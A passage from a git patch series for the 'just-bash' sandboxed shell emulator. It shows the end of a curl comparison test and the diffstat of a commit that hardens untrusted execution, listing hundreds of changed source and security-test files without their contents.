POST data", async () => { + const real = await runRealCurl([ + "-d", + "@payload.txt", + "--data-urlencode", + "q=a b*", + "--data-raw", + "c=3", + `${baseUrl}/echo`, + ]); + const result = await createEnv({ "/payload.txt": "a=1\n" }).exec( + `curl -sS -d @/payload.txt --data-urlencode 'q=a b*' --data-raw 'c=3' '${baseUrl}/echo'`, + ); + + expect(result).toMatchObject({ stdout: real, stderr: "", exitCode: 0 }); + }); + + it("matches -G combined with an explicit request method", async () => { + const real = await runRealCurl([ + "-X", + "POST", + "-G", + "--data-urlencode", + "q=1", + `${baseUrl}/echo`, + ]); + const result = await createEnv().exec( + `curl -sS -X POST -G --data-urlencode 'q=1' '${baseUrl}/echo'`, + ); + + expect(result).toMatchObject({ stdout: real, stderr: "", exitCode: 0 }); + }); +}); From 7c4caedf02599628f19b243f960d480760f5e476 Mon Sep 17 00:00:00 2001 From: Malte Ubl Date: Mon, 20 Jul 2026 14:44:36 -0700 Subject: [PATCH 4/9] Harden untrusted execution across runtime boundaries (#307) * Cross code-base hardening * Additional hardening * Go back to being 100% API compatible * Address feedback * Address feedback * Missing files * Test determinism --- .changeset/secure-runtime-boundaries.md | 16 + .github/dependabot.yml | 9 + .github/workflows/comparison-tests.yml | 11 +- .github/workflows/lint.yml | 11 +- .github/workflows/python-tests.yml | 10 +- .github/workflows/release.yml | 1 + .github/workflows/typecheck.yml | 11 +- .github/workflows/unit-tests.yml | 13 +- THREAT_MODEL.md | 32 +- biome.json | 3 +- examples/website/README.md | 9 + examples/website/app/api/agent/route.ts | 308 ++++++- package.json | 3 +- packages/just-bash/README.md | 81 +- packages/just-bash/package.json | 13 +- .../scripts/check-banned-patterns.js | 534 ++++++++++-- .../scripts/check-banned-patterns.test.ts | 297 +++++++ packages/just-bash/src/Bash.commands.test.ts | 7 +- .../just-bash/src/Bash.exec-options.test.ts | 13 + packages/just-bash/src/Bash.ts | 624 ++++++++------ packages/just-bash/src/abort-signals.ts | 47 + .../just-bash/src/bounded-builder.test.ts | 74 ++ packages/just-bash/src/bounded-builder.ts | 182 ++++ packages/just-bash/src/browser.ts | 9 +- .../just-bash/src/cli/exec-limits.test.ts | 13 + packages/just-bash/src/cli/exec-limits.ts | 18 + packages/just-bash/src/cli/exec.ts | 11 +- packages/just-bash/src/cli/just-bash.test.ts | 86 ++ packages/just-bash/src/cli/just-bash.ts | 53 +- packages/just-bash/src/cli/shell.ts | 27 +- .../just-bash/src/commands/alias/alias.ts | 20 +- .../awk/awk.allocation-limits.test.ts | 98 +++ .../src/commands/awk/awk.getline.test.ts | 9 + packages/just-bash/src/commands/awk/awk2.ts | 150 +++- .../just-bash/src/commands/awk/builtins.ts | 337 +++++--- .../src/commands/awk/interpreter/context.ts | 15 +- .../commands/awk/interpreter/expressions.ts | 62 +- .../commands/awk/interpreter/interpreter.ts | 9 + .../commands/awk/interpreter/statements.ts | 11 +- .../src/commands/awk/interpreter/variables.ts | 12 + packages/just-bash/src/commands/awk/lexer.ts | 42 +- .../src/commands/awk/parser2-print.ts | 9 +- .../awk/parser2.resource-limits.test.ts | 38 + .../just-bash/src/commands/awk/parser2.ts | 113 ++- .../src/commands/base64/base64.test.ts | 37 + .../just-bash/src/commands/base64/base64.ts | 170 +++- .../src/commands/basename/basename.ts | 13 +- packages/just-bash/src/commands/bash/bash.ts | 43 +- packages/just-bash/src/commands/cat/cat.ts | 142 +++- .../commands/chmod/chmod.special-bits.test.ts | 19 + .../just-bash/src/commands/chmod/chmod.ts | 114 +-- .../just-bash/src/commands/clear/clear.ts | 13 +- .../src/commands/column/column.limits.test.ts | 41 + .../just-bash/src/commands/column/column.ts | 174 +++- packages/just-bash/src/commands/comm/comm.ts | 13 +- .../commands/compression/codec-budget.test.ts | 40 + .../src/commands/compression/codec-budget.ts | 120 +++ packages/just-bash/src/commands/cp/cp.ts | 91 +- packages/just-bash/src/commands/curl/curl.ts | 21 +- .../src/commands/curl/parse.security.test.ts | 28 + packages/just-bash/src/commands/curl/parse.ts | 29 +- .../src/commands/curl/tests/timeout.test.ts | 36 + packages/just-bash/src/commands/curl/types.ts | 1 + .../just-bash/src/commands/cut/cut.test.ts | 6 + packages/just-bash/src/commands/cut/cut.ts | 87 +- .../just-bash/src/commands/date/date.test.ts | 25 + packages/just-bash/src/commands/date/date.ts | 48 +- packages/just-bash/src/commands/diff/diff.ts | 13 +- .../just-bash/src/commands/dirname/dirname.ts | 13 +- packages/just-bash/src/commands/du/du.ts | 237 ++---- packages/just-bash/src/commands/echo/echo.ts | 13 +- packages/just-bash/src/commands/env/env.ts | 20 +- .../src/commands/expand/expand.test.ts | 52 ++ .../just-bash/src/commands/expand/expand.ts | 101 ++- .../just-bash/src/commands/expand/unexpand.ts | 13 +- .../src/commands/expr/expr.security.test.ts | 34 + packages/just-bash/src/commands/expr/expr.ts | 38 +- .../src/commands/file/file.symlink.test.ts | 36 + packages/just-bash/src/commands/file/file.ts | 68 +- .../filesystem-traversal.security.test.ts | 47 + .../commands/find/find.fail-closed.test.ts | 179 ++++ .../src/commands/find/find.perf.test.ts | 63 +- packages/just-bash/src/commands/find/find.ts | 634 +++++++------- .../just-bash/src/commands/find/matcher.ts | 155 ++-- .../just-bash/src/commands/find/parser.ts | 214 +++-- packages/just-bash/src/commands/find/types.ts | 6 +- packages/just-bash/src/commands/fold/fold.ts | 23 +- .../src/commands/fold/fold.utf8-stdin.test.ts | 17 + .../src/commands/fs-identity.security.test.ts | 70 ++ packages/just-bash/src/commands/grep/grep.ts | 182 +++- .../src/commands/gzip/gzip.security.test.ts | 37 + packages/just-bash/src/commands/gzip/gzip.ts | 800 ++++++++++------- .../src/commands/head/head-tail-shared.ts | 66 +- .../just-bash/src/commands/head/head.test.ts | 2 +- packages/just-bash/src/commands/head/head.ts | 13 +- packages/just-bash/src/commands/help/help.ts | 15 +- .../just-bash/src/commands/history/history.ts | 13 +- .../src/commands/hostname/hostname.ts | 10 +- .../html-to-markdown/html-to-markdown.test.ts | 30 + .../html-to-markdown/html-to-markdown.ts | 112 ++- .../input-budget-files.security.test.ts | 48 ++ packages/just-bash/src/commands/join/join.ts | 82 +- .../src/commands/jq/jq.limits.test.ts | 206 ++++- packages/just-bash/src/commands/jq/jq.ts | 239 +++--- .../just-bash/src/commands/js-exec/README.md | 2 +- .../src/commands/js-exec/fetch-polyfill.ts | 6 +- .../src/commands/js-exec/js-exec-worker.ts | 30 +- .../src/commands/js-exec/js-exec.http.test.ts | 10 + .../js-exec.initialization-failure.test.ts | 259 ++++++ .../commands/js-exec/js-exec.security.test.ts | 17 + .../just-bash/src/commands/js-exec/js-exec.ts | 252 ++++-- packages/just-bash/src/commands/ln/ln.test.ts | 8 + packages/just-bash/src/commands/ln/ln.ts | 20 +- .../src/commands/ls/ls.security.test.ts | 37 + packages/just-bash/src/commands/ls/ls.ts | 177 +++- .../just-bash/src/commands/md5sum/checksum.ts | 13 +- .../just-bash/src/commands/md5sum/md5sum.ts | 4 +- .../just-bash/src/commands/md5sum/sha1sum.ts | 4 +- .../src/commands/md5sum/sha256sum.ts | 4 +- .../just-bash/src/commands/mkdir/mkdir.ts | 13 +- packages/just-bash/src/commands/mv/mv.ts | 90 +- packages/just-bash/src/commands/nl/nl.test.ts | 43 + packages/just-bash/src/commands/nl/nl.ts | 83 +- packages/just-bash/src/commands/od/od.test.ts | 12 + packages/just-bash/src/commands/od/od.ts | 95 ++- .../src/commands/paste/paste.test.ts | 7 + .../just-bash/src/commands/paste/paste.ts | 73 +- .../just-bash/src/commands/printf/escapes.ts | 62 +- .../src/commands/printf/printf.limits.test.ts | 77 ++ .../just-bash/src/commands/printf/printf.ts | 247 ++++-- .../just-bash/src/commands/printf/strftime.ts | 55 +- packages/just-bash/src/commands/pwd/pwd.ts | 13 +- .../python3.queue-desync.runtime.test.ts | 21 +- .../python3.queue-timeout-exploit.test.ts | 161 +++- .../commands/python3/python3.security.test.ts | 34 + .../just-bash/src/commands/python3/python3.ts | 327 ++++--- .../python3.worker-protocol-abuse.test.ts | 17 +- .../just-bash/src/commands/python3/worker.ts | 91 +- .../query-engine/builtins/array-builtins.ts | 46 +- .../query-engine/builtins/control-builtins.ts | 26 +- .../builtins/date-builtins.security.test.ts | 32 + .../query-engine/builtins/date-builtins.ts | 72 +- .../builtins/format-builtins.browser.test.ts | 23 + .../query-engine/builtins/format-builtins.ts | 28 +- .../builtins/navigation-builtins.ts | 316 +++++-- .../query-engine/builtins/object-builtins.ts | 203 ++++- .../query-engine/builtins/path-builtins.ts | 149 +++- .../builtins/resource-limits.security.test.ts | 145 ++++ .../query-engine/builtins/string-builtins.ts | 107 ++- .../src/commands/query-engine/evaluator.ts | 390 +++++++-- .../src/commands/query-engine/json-output.ts | 120 +++ .../query-engine/parser.security.test.ts | 48 ++ .../src/commands/query-engine/parser.ts | 104 ++- .../safe-object.sanitize-parsed-data.test.ts | 24 + .../src/commands/query-engine/safe-object.ts | 118 ++- .../value-operations.depth.test.ts | 64 ++ .../commands/query-engine/value-operations.ts | 142 +++- .../src/commands/readlink/readlink.test.ts | 10 + .../src/commands/readlink/readlink.ts | 34 +- packages/just-bash/src/commands/registry.ts | 27 +- .../commands/resource-limits.security.test.ts | 120 +++ packages/just-bash/src/commands/rev/rev.ts | 13 +- .../just-bash/src/commands/rg/rg-options.ts | 6 +- .../src/commands/rg/rg-parser-threads.test.ts | 17 + .../just-bash/src/commands/rg/rg-parser.ts | 22 +- .../just-bash/src/commands/rg/rg-search.ts | 488 ++++++++--- .../rg/rg.decompression-limits.test.ts | 31 + .../rg/rg.live-bytes.security.test.ts | 31 + .../rg.pattern-file-limits.security.test.ts | 116 +++ packages/just-bash/src/commands/rg/rg.ts | 13 +- packages/just-bash/src/commands/rm/rm.ts | 13 +- .../src/commands/rmdir/rmdir.security.test.ts | 15 + .../just-bash/src/commands/rmdir/rmdir.ts | 29 +- .../commands/search-engine/matcher.test.ts | 80 ++ .../src/commands/search-engine/matcher.ts | 223 ++++- packages/just-bash/src/commands/sed/lexer.ts | 20 +- packages/just-bash/src/commands/sed/parser.ts | 32 +- .../just-bash/src/commands/sed/sed.test.ts | 17 + packages/just-bash/src/commands/sed/sed.ts | 14 +- .../just-bash/src/commands/seq/seq.test.ts | 21 + packages/just-bash/src/commands/seq/seq.ts | 106 ++- .../src/commands/sleep/sleep.test.ts | 26 + .../just-bash/src/commands/sleep/sleep.ts | 38 +- packages/just-bash/src/commands/sort/sort.ts | 13 +- .../src/commands/split/split.test.ts | 158 +++- .../just-bash/src/commands/split/split.ts | 541 +++++++++--- .../src/commands/sqlite3/formatters.ts | 109 ++- .../sqlite3/sqlite3.formatters.test.ts | 24 + .../sqlite3/sqlite3.lock-abort.test.ts | 27 + .../commands/sqlite3/sqlite3.parsing.test.ts | 18 + .../sqlite3/sqlite3.resource-limits.test.ts | 57 ++ .../just-bash/src/commands/sqlite3/sqlite3.ts | 617 +++++++++++--- .../sqlite3.worker-protocol-abuse.test.ts | 58 +- .../sqlite3.writeback-edge-cases.test.ts | 74 ++ .../just-bash/src/commands/sqlite3/worker.ts | 299 ++++--- .../just-bash/src/commands/stat/stat.test.ts | 17 + packages/just-bash/src/commands/stat/stat.ts | 73 +- .../just-bash/src/commands/strings/strings.ts | 136 ++- packages/just-bash/src/commands/tac/tac.ts | 10 +- .../just-bash/src/commands/tail/tail.test.ts | 14 +- packages/just-bash/src/commands/tail/tail.ts | 13 +- .../just-bash/src/commands/tar/archive.ts | 526 ++++++++++-- .../src/commands/tar/bzip2-compress.ts | 25 +- .../commands/tar/tar-options.security.test.ts | 50 ++ .../just-bash/src/commands/tar/tar-options.ts | 30 +- .../src/commands/tar/tar.binary.test.ts | 18 +- .../src/commands/tar/tar.bundle.test.ts | 14 +- .../commands/tar/tar.creation-limits.test.ts | 63 ++ .../tar/tar.decompression-limits.test.ts | 94 ++ .../src/commands/tar/tar.security.test.ts | 53 +- .../just-bash/src/commands/tar/tar.test.ts | 34 +- packages/just-bash/src/commands/tar/tar.ts | 134 ++- packages/just-bash/src/commands/tee/tee.ts | 13 +- packages/just-bash/src/commands/time/time.ts | 13 +- .../src/commands/time/time.utf8-stdin.test.ts | 8 + .../just-bash/src/commands/timeout/timeout.ts | 33 +- .../just-bash/src/commands/touch/touch.ts | 13 +- packages/just-bash/src/commands/tr/tr.ts | 160 +++- packages/just-bash/src/commands/tree/tree.ts | 17 +- packages/just-bash/src/commands/true/true.ts | 6 +- packages/just-bash/src/commands/uniq/uniq.ts | 13 +- packages/just-bash/src/commands/wc/wc.ts | 13 +- .../just-bash/src/commands/which/which.ts | 13 +- .../just-bash/src/commands/whoami/whoami.ts | 10 +- .../commands/worker-bridge/bridge-handler.ts | 13 +- .../worker-request-controller.test.ts | 75 ++ .../src/commands/worker-request-controller.ts | 185 ++++ .../just-bash/src/commands/xan/aggregation.ts | 273 ++++-- .../src/commands/xan/bounded-output.ts | 7 + .../src/commands/xan/column-selection.ts | 11 +- packages/just-bash/src/commands/xan/csv.ts | 312 ++++++- .../src/commands/xan/moonblade-parser.ts | 184 +++- .../src/commands/xan/moonblade-to-jq.ts | 112 ++- .../src/commands/xan/moonblade-tokenizer.ts | 35 +- .../xan/resource-limits.security.test.ts | 91 ++ .../just-bash/src/commands/xan/xan-agg.ts | 223 +++-- .../just-bash/src/commands/xan/xan-columns.ts | 34 +- .../just-bash/src/commands/xan/xan-core.ts | 22 +- .../just-bash/src/commands/xan/xan-data.ts | 289 +++++-- .../just-bash/src/commands/xan/xan-filter.ts | 26 +- .../just-bash/src/commands/xan/xan-map.ts | 71 +- .../just-bash/src/commands/xan/xan-reshape.ts | 225 ++++- .../just-bash/src/commands/xan/xan-simple.ts | 100 ++- .../src/commands/xan/xan-view.limits.test.ts | 29 + .../just-bash/src/commands/xan/xan-view.ts | 80 +- .../xan/xan.amplification.security.test.ts | 267 ++++++ .../src/commands/xan/xan.data.test.ts | 48 ++ .../src/commands/xan/xan.groupby.test.ts | 12 + .../src/commands/xan/xan.reshape.test.ts | 20 + .../commands/xan/xan.stats.security.test.ts | 49 ++ packages/just-bash/src/commands/xan/xan.ts | 13 +- .../just-bash/src/commands/xargs/xargs.ts | 269 +++++- packages/just-bash/src/commands/yq/formats.ts | 227 ++++- .../commands/yq/yq.indent.security.test.ts | 27 + .../src/commands/yq/yq.limits.test.ts | 87 ++ packages/just-bash/src/commands/yq/yq.ts | 132 ++- .../comparison-tests/find.comparison.test.ts | 32 + .../fixtures/find.comparison.fixtures.json | 30 + .../fixtures/test.comparison.fixtures.json | 9 + .../comparison-tests/test.comparison.test.ts | 16 + .../src/custom-command-deadline.test.ts | 352 ++++++++ .../just-bash/src/custom-commands.test.ts | 234 ++++- packages/just-bash/src/custom-commands.ts | 90 +- packages/just-bash/src/encoding.ts | 55 +- packages/just-bash/src/execution-output.ts | 101 +++ packages/just-bash/src/execution-scope.ts | 501 +++++++++++ .../src/fatal-execution-error.test.ts | 31 + .../just-bash/src/fatal-execution-error.ts | 19 + .../src/fs/cp-mv-cycle.security.test.ts | 76 ++ packages/just-bash/src/fs/identity.ts | 24 + .../src/fs/in-memory-fs/in-memory-fs.ts | 217 ++++- .../src/fs/in-memory-fs/quota.test.ts | 92 ++ packages/just-bash/src/fs/interface.ts | 4 + .../src/fs/mountable-fs/mountable-fs.ts | 9 + .../src/fs/overlay-fs/overlay-fs.e2e.test.ts | 2 +- .../src/fs/overlay-fs/overlay-fs.test.ts | 21 + .../just-bash/src/fs/overlay-fs/overlay-fs.ts | 154 +++- packages/just-bash/src/fs/path-utils.ts | 14 + .../read-write-fs.mv-transaction.test.ts | 117 +++ .../read-write-fs.security.test.ts | 71 +- .../src/fs/read-write-fs/read-write-fs.ts | 296 ++++++- .../just-bash/src/fs/real-fs-utils.test.ts | 9 +- packages/just-bash/src/fs/real-fs-utils.ts | 19 +- packages/just-bash/src/fs/traversal.test.ts | 199 +++++ packages/just-bash/src/fs/traversal.ts | 412 +++++++++ packages/just-bash/src/index.ts | 13 +- .../src/interpreter/alias-expansion.ts | 144 +++- .../arithmetic-cycle.security.test.ts | 34 + .../just-bash/src/interpreter/arithmetic.ts | 437 +++++----- .../interpreter/array-state-integrity.test.ts | 95 +++ .../src/interpreter/assignment-expansion.ts | 170 +++- .../assignment-gateway.security.test.ts | 83 ++ .../src/interpreter/builtin-dispatch.ts | 433 +++++++++- .../src/interpreter/builtins/compgen.ts | 576 ++++++++----- .../src/interpreter/builtins/complete.test.ts | 19 +- .../src/interpreter/builtins/complete.ts | 40 +- .../src/interpreter/builtins/compopt.test.ts | 7 +- .../src/interpreter/builtins/compopt.ts | 12 +- .../builtins/declare-array-parsing.ts | 50 +- .../src/interpreter/builtins/declare-print.ts | 126 +-- .../src/interpreter/builtins/declare.ts | 237 ++++-- .../src/interpreter/builtins/exit.test.ts | 7 + .../src/interpreter/builtins/exit.ts | 9 +- .../src/interpreter/builtins/export.ts | 32 +- .../src/interpreter/builtins/hash.ts | 4 +- .../src/interpreter/builtins/index.ts | 1 - .../src/interpreter/builtins/local.ts | 168 ++-- .../src/interpreter/builtins/mapfile.ts | 89 +- .../src/interpreter/builtins/read.test.ts | 9 + .../src/interpreter/builtins/read.ts | 82 +- .../just-bash/src/interpreter/builtins/set.ts | 198 ++--- .../builtins/shopt.security.test.ts | 29 + .../src/interpreter/builtins/shopt.ts | 116 ++- .../src/interpreter/builtins/unset.ts | 37 +- .../builtins/variable-assignment.ts | 44 +- .../command-resolution.security.test.ts | 50 ++ .../src/interpreter/command-resolution.ts | 59 +- .../just-bash/src/interpreter/conditionals.ts | 49 +- .../control-flow.output-limits.test.ts | 93 ++ .../just-bash/src/interpreter/control-flow.ts | 315 ++++--- .../defense-aware-command-context.ts | 14 +- packages/just-bash/src/interpreter/errors.ts | 7 +- ...expansion-resource-limits.security.test.ts | 121 +++ .../just-bash/src/interpreter/expansion.ts | 71 +- .../expansion/array-pattern-ops.ts | 8 +- .../expansion/array-prefix-suffix.ts | 2 +- .../expansion/array-slice-transform.ts | 89 +- .../src/interpreter/expansion/brace-range.ts | 73 +- .../expansion/indirect-expansion.ts | 4 +- .../interpreter/expansion/parameter-ops.ts | 77 +- .../expansion/pattern-expansion.ts | 4 + .../interpreter/expansion/pattern-removal.ts | 92 +- .../expansion/pattern-replacement.ts | 56 ++ .../expansion/positional-params.ts | 174 +++- .../src/interpreter/expansion/prompt.ts | 132 +-- .../src/interpreter/expansion/tilde.ts | 11 + .../expansion/unquoted-expansion.ts | 337 +++++++- .../interpreter/expansion/variable-attrs.ts | 10 +- .../src/interpreter/expansion/variable.ts | 43 +- .../expansion/word-glob-expansion.ts | 53 +- .../src/interpreter/expansion/word-split.ts | 54 +- .../followup-resource-limits.security.test.ts | 265 ++++++ .../just-bash/src/interpreter/functions.ts | 65 +- .../src/interpreter/helpers/array.ts | 181 +++- .../src/interpreter/helpers/bounded-array.ts | 17 + .../src/interpreter/helpers/condition.ts | 25 +- .../helpers/file-tests.identity.test.ts | 56 ++ .../src/interpreter/helpers/file-tests.ts | 62 +- .../interpreter/helpers/ifs.security.test.ts | 41 + .../just-bash/src/interpreter/helpers/ifs.ts | 54 +- .../src/interpreter/helpers/nameref.ts | 9 +- .../helpers/quoting.security.test.ts | 100 +++ .../src/interpreter/helpers/quoting.ts | 68 +- .../src/interpreter/helpers/statements.ts | 66 -- .../src/interpreter/helpers/string-compare.ts | 9 +- .../src/interpreter/helpers/tilde.ts | 41 - .../src/interpreter/helpers/variable-tests.ts | 10 +- .../src/interpreter/helpers/xtrace.test.ts | 13 + .../src/interpreter/helpers/xtrace.ts | 20 +- .../just-bash/src/interpreter/interpreter.ts | 302 ++++--- .../src/interpreter/pipeline-execution.ts | 68 +- .../redirections.state-integrity.test.ts | 51 ++ .../just-bash/src/interpreter/redirections.ts | 315 ++++--- .../interpreter/simple-command-assignments.ts | 298 ++++--- .../src/interpreter/state-transaction.test.ts | 68 ++ .../src/interpreter/state-transaction.ts | 183 ++++ .../src/interpreter/subshell-group.ts | 274 +++--- .../temp-env-prefix-defense.test.ts | 7 +- .../tilde-provenance.security.test.ts | 47 + .../just-bash/src/interpreter/type-command.ts | 2 +- packages/just-bash/src/interpreter/types.ts | 34 +- packages/just-bash/src/limits.ts | 339 ++++++-- packages/just-bash/src/network/allow-list.ts | 43 +- .../src/network/allow-list/bypass.test.ts | 14 +- .../dns-rebinding-integration.test.ts | 28 +- .../network/allow-list/dns-rebinding.test.ts | 63 +- .../src/network/allow-list/e2e.test.ts | 1 + .../allow-list/path-canonicalization.test.ts | 58 ++ .../src/network/allow-list/shared.ts | 26 +- .../src/network/allow-list/unit.test.ts | 5 +- .../src/network/dns-pin-fetch.test.ts | 318 +++++-- .../just-bash/src/network/dns-pin.test.ts | 170 ++-- packages/just-bash/src/network/dns-pin.ts | 235 ++--- packages/just-bash/src/network/fetch.ts | 462 ++++++---- packages/just-bash/src/network/types.ts | 13 +- .../just-bash/src/parser/arithmetic-parser.ts | 64 +- .../src/parser/arithmetic-primaries.ts | 21 +- .../just-bash/src/parser/command-parser.ts | 9 +- .../src/parser/conditional-parser.ts | 4 +- .../just-bash/src/parser/expansion-parser.ts | 60 +- .../src/parser/parser.depth-limits.test.ts | 70 ++ packages/just-bash/src/parser/parser.ts | 185 ++-- packages/just-bash/src/parser/types.ts | 56 +- packages/just-bash/src/parser/word-parser.ts | 10 +- .../src/public-api-compatibility.test.ts | 38 + packages/just-bash/src/regex/index.ts | 1 + packages/just-bash/src/regex/user-regex.ts | 160 +++- .../src/sandbox/Sandbox.security.test.ts | 12 +- .../awk-getline-piping-security.test.ts | 7 +- .../attacks/defense-context-invariant.test.ts | 15 +- ...defense-in-depth-bypass-hypotheses.test.ts | 24 +- .../defense-in-depth-combined-chain.test.ts | 7 +- .../defense-in-depth-independence.test.ts | 91 +- .../defense-in-depth-timing-confusion.test.ts | 24 +- .../js-exec-exploit-regression.test.ts | 6 +- .../attacks/proxy-trap-completeness.test.ts | 7 +- ...ry-engine-defense-violation-probes.test.ts | 99 ++- .../just-bash/src/security/blocked-globals.ts | 16 + .../defense-in-depth-box-concurrent.test.ts | 7 +- .../src/security/defense-in-depth-box.test.ts | 60 +- .../src/security/defense-in-depth-box.ts | 802 ++++++++++++------ ...efense-in-depth-exploit-regression.test.ts | 152 ++-- .../defense-in-depth-hardening.test.ts | 11 +- ...ense-in-depth-intrinsic-protection.test.ts | 168 ++++ .../defense-in-depth-lifecycle.test.ts | 154 ++++ .../defense-runtime-capability.test.ts | 142 ++++ .../general-core-followup.security.test.ts | 249 ++++++ packages/just-bash/src/security/index.ts | 5 +- .../security/limits/aggregate-output.test.ts | 70 ++ .../limits/compatibility-defaults.test.ts | 163 ++++ .../src/security/limits/dos-limits.test.ts | 8 +- .../security/limits/execution-scope.test.ts | 214 +++++ .../security/limits/memory-exhaustion.test.ts | 4 +- .../limits/security-hardening.test.ts | 164 +++- .../worker-protocol-runtime-desync.test.ts | 2 +- .../src/security/symbol-locking.test.ts | 162 ++-- .../just-bash/src/security/trusted-globals.ts | 2 + packages/just-bash/src/security/types.ts | 35 +- .../security/worker-defense-in-depth.test.ts | 53 +- .../src/security/worker-defense-in-depth.ts | 331 +++++--- packages/just-bash/src/shell/glob.ts | 5 + .../src/shims/browser-unsupported.js | 9 +- packages/just-bash/src/source-limit.ts | 18 + .../src/spec-tests/awk/awk-spec.test.ts | 2 +- .../bash/cases/builtin-bracket.test.sh | 1 - .../spec-tests/bash/cases/var-op-bash.test.sh | 2 - .../src/syntax/execution-protection.test.ts | 11 +- packages/just-bash/src/syntax/loops.test.ts | 6 +- packages/just-bash/src/timers.ts | 46 + packages/just-bash/src/transform/pipeline.ts | 11 + .../src/transform/plugins/tee-plugin.test.ts | 62 +- .../src/transform/plugins/tee-plugin.ts | 147 ++-- .../just-bash/src/transform/transform.test.ts | 39 +- packages/just-bash/src/types.ts | 62 +- packages/just-bash/src/utils/file-reader.ts | 26 +- packages/just-bash/vitest.config.ts | 2 +- packages/just-bash/vitest.unit.config.ts | 3 +- pnpm-lock.yaml | 6 + scripts/check-deepsec-revalidation.mjs | 123 +++ scripts/check-workflow-security.mjs | 87 ++ 450 files changed, 31391 insertions(+), 8157 deletions(-) create mode 100644 .changeset/secure-runtime-boundaries.md create mode 100644 .github/dependabot.yml create mode 100644 packages/just-bash/scripts/check-banned-patterns.test.ts create mode 100644 packages/just-bash/src/abort-signals.ts create mode 100644 packages/just-bash/src/bounded-builder.test.ts create mode 100644 packages/just-bash/src/bounded-builder.ts create mode 100644 packages/just-bash/src/cli/exec-limits.test.ts create mode 100644 packages/just-bash/src/cli/exec-limits.ts create mode 100644 packages/just-bash/src/commands/awk/awk.allocation-limits.test.ts create mode 100644 packages/just-bash/src/commands/awk/parser2.resource-limits.test.ts create mode 100644 packages/just-bash/src/commands/chmod/chmod.special-bits.test.ts create mode 100644 packages/just-bash/src/commands/column/column.limits.test.ts create mode 100644 packages/just-bash/src/commands/compression/codec-budget.test.ts create mode 100644 packages/just-bash/src/commands/compression/codec-budget.ts create mode 100644 packages/just-bash/src/commands/curl/parse.security.test.ts create mode 100644 packages/just-bash/src/commands/expr/expr.security.test.ts create mode 100644 packages/just-bash/src/commands/file/file.symlink.test.ts create mode 100644 packages/just-bash/src/commands/filesystem-traversal.security.test.ts create mode 100644 packages/just-bash/src/commands/find/find.fail-closed.test.ts create mode 100644 packages/just-bash/src/commands/fs-identity.security.test.ts create mode 100644 packages/just-bash/src/commands/input-budget-files.security.test.ts create mode 100644 packages/just-bash/src/commands/js-exec/js-exec.initialization-failure.test.ts create mode 100644 packages/just-bash/src/commands/ls/ls.security.test.ts create mode 100644 packages/just-bash/src/commands/printf/printf.limits.test.ts create mode 100644 packages/just-bash/src/commands/query-engine/builtins/date-builtins.security.test.ts create mode 100644 packages/just-bash/src/commands/query-engine/builtins/format-builtins.browser.test.ts create mode 100644 packages/just-bash/src/commands/query-engine/builtins/resource-limits.security.test.ts create mode 100644 packages/just-bash/src/commands/query-engine/json-output.ts create mode 100644 packages/just-bash/src/commands/query-engine/parser.security.test.ts create mode 100644 packages/just-bash/src/commands/query-engine/value-operations.depth.test.ts create mode 100644 packages/just-bash/src/commands/resource-limits.security.test.ts create mode 100644 packages/just-bash/src/commands/rg/rg.decompression-limits.test.ts create mode 100644 packages/just-bash/src/commands/rg/rg.live-bytes.security.test.ts create mode 100644 packages/just-bash/src/commands/rg/rg.pattern-file-limits.security.test.ts create mode 100644 packages/just-bash/src/commands/rmdir/rmdir.security.test.ts create mode 100644 packages/just-bash/src/commands/sqlite3/sqlite3.lock-abort.test.ts create mode 100644 packages/just-bash/src/commands/sqlite3/sqlite3.resource-limits.test.ts create mode 100644 packages/just-bash/src/commands/tar/tar-options.security.test.ts create mode 100644 packages/just-bash/src/commands/tar/tar.creation-limits.test.ts create mode 100644 packages/just-bash/src/commands/tar/tar.decompression-limits.test.ts create mode 100644 packages/just-bash/src/commands/worker-request-controller.test.ts create mode 100644 packages/just-bash/src/commands/worker-request-controller.ts create mode 100644 packages/just-bash/src/commands/xan/bounded-output.ts create mode 100644 packages/just-bash/src/commands/xan/resource-limits.security.test.ts create mode 100644 packages/just-bash/src/commands/xan/xan-view.limits.test.ts create mode 100644 packages/just-bash/src/commands/xan/xan.amplification.security.test.ts create mode 100644 packages/just-bash/src/commands/xan/xan.stats.security.test.ts create mode 100644 packages/just-bash/src/commands/yq/yq.indent.security.test.ts create mode 100644 packages/just-bash/src/commands/yq/yq.limits.test.ts create mode 100644 packages/just-bash/src/custom-command-deadline.test.ts create mode 100644 packages/just-bash/src/execution-output.ts create mode 100644 packages/just-bash/src/execution-scope.ts create mode 100644 packages/just-bash/src/fatal-execution-error.test.ts create mode 100644 packages/just-bash/src/fatal-execution-error.ts create mode 100644 packages/just-bash/src/fs/cp-mv-cycle.security.test.ts create mode 100644 packages/just-bash/src/fs/identity.ts create mode 100644 packages/just-bash/src/fs/in-memory-fs/quota.test.ts create mode 100644 packages/just-bash/src/fs/read-write-fs/read-write-fs.mv-transaction.test.ts create mode 100644 packages/just-bash/src/fs/traversal.test.ts create mode 100644 packages/just-bash/src/fs/traversal.ts create mode 100644 packages/just-bash/src/interpreter/arithmetic-cycle.security.test.ts create mode 100644 packages/just-bash/src/interpreter/array-state-integrity.test.ts create mode 100644 packages/just-bash/src/interpreter/assignment-gateway.security.test.ts create mode 100644 packages/just-bash/src/interpreter/builtins/shopt.security.test.ts create mode 100644 packages/just-bash/src/interpreter/command-resolution.security.test.ts create mode 100644 packages/just-bash/src/interpreter/control-flow.output-limits.test.ts create mode 100644 packages/just-bash/src/interpreter/expansion-resource-limits.security.test.ts create mode 100644 packages/just-bash/src/interpreter/expansion/pattern-replacement.ts create mode 100644 packages/just-bash/src/interpreter/followup-resource-limits.security.test.ts create mode 100644 packages/just-bash/src/interpreter/helpers/bounded-array.ts create mode 100644 packages/just-bash/src/interpreter/helpers/file-tests.identity.test.ts create mode 100644 packages/just-bash/src/interpreter/helpers/ifs.security.test.ts create mode 100644 packages/just-bash/src/interpreter/helpers/quoting.security.test.ts delete mode 100644 packages/just-bash/src/interpreter/helpers/statements.ts delete mode 100644 packages/just-bash/src/interpreter/helpers/tilde.ts create mode 100644 packages/just-bash/src/interpreter/redirections.state-integrity.test.ts create mode 100644 packages/just-bash/src/interpreter/state-transaction.test.ts create mode 100644 packages/just-bash/src/interpreter/state-transaction.ts create mode 100644 packages/just-bash/src/interpreter/tilde-provenance.security.test.ts create mode 100644 packages/just-bash/src/network/allow-list/path-canonicalization.test.ts create mode 100644 packages/just-bash/src/parser/parser.depth-limits.test.ts create mode 100644 packages/just-bash/src/public-api-compatibility.test.ts create mode 100644 